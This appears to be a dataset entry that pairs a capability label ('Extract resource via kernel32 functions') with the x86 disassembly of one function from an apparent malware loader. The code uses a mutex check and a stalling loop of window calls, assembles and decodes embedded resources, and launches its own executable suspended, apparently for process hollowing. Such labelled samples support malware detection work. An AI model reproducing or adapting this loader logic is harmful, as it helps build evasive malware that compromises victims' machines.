Function at 0x401512
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x194
push str.Zebra02
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0
jne 0x401553
push 0x4050b9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x128], eax
jmp 0x40155a
xor eax, eax
jmp 0x4018b7
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x190], 0
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x124], 0
jmp 0x4015c5
mov eax, dword [ebp - 0x124]
add eax, 1
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0x186a0
jge 0x4015f1
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
jmp 0x4015b6
call fcn.004011ab
push 0xa
push 0x64
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x401618
xor eax, eax
jmp 0x4018b7
mov ecx, dword [ebp - 0x13c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x190], eax
mov edx, dword [ebp - 0x13c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jne 0x401652
xor eax, eax
jmp 0x4018b7
mov eax, dword [ebp - 0x138]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x120], 0
mov dword [ebp - 0x18c], 0
mov ecx, 1
test ecx, ecx
je 0x401797
push 0xa
mov edx, dword [ebp - 0x120]
add edx, 0x66
and edx, 0xffff
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x4016b4
jmp 0x401797
mov eax, dword [ebp - 0x13c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x140], eax
mov ecx, dword [ebp - 0x13c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0
jne 0x4016ec
jmp 0x401797
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x134], eax
mov eax, dword [ebp - 0x118]
add eax, dword [ebp - 0x140]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.00401ad7
add esp, 8
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x194], 0
jmp 0x401748
mov eax, dword [ebp - 0x194]
add eax, 1
mov dword [ebp - 0x194], eax
mov ecx, dword [ebp - 0x194]
cmp ecx, dword [ebp - 0x140]
jge 0x401783
mov edx, dword [ebp - 0x144]
add edx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x134]
add eax, dword [ebp - 0x194]
mov cl, byte [eax]
mov byte [edx], cl
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
jmp 0x401739
mov eax, dword [ebp - 0x120]
add eax, 1
mov dword [ebp - 0x120], eax
jmp 0x401679
mov ecx, dword [ebp - 0x190]
push ecx
mov edx, dword [ebp - 0x12c]
push edx
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call section..text
add esp, 0x10
mov dword [ebp - 0x11c], 0
lea edx, [ebp - 0x11c]
push edx
mov eax, dword [ebp - 0x118]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call fcn.004019fd
add esp, 0xc
mov dword [ebp - 0x130], eax
mov edx, dword [ebp - 0x144]
push edx
call fcn.00401aa8
add esp, 4
push 0x44
push 0
lea eax, [ebp - 0x188]
push eax
call fcn.00401a50
add esp, 0xc
mov dword [ebp - 0x188], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x114]
push ecx
call fcn.00401a50
add esp, 0xc
push 0x104
lea edx, [ebp - 0x104]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x188]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
call dword [0x406570]
mov eax, dword [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x110]
push ecx
mov edx, dword [ebp - 0x114]
push edx
call fcn.004018bd
add esp, 0xc
and eax, 0xff
test eax, eax
je 0x401899
mov eax, dword [ebp - 0x110]
push eax
call dword [0x406588]
jmp 0x4018a6
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x130]
push edx
call fcn.00401aa8
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10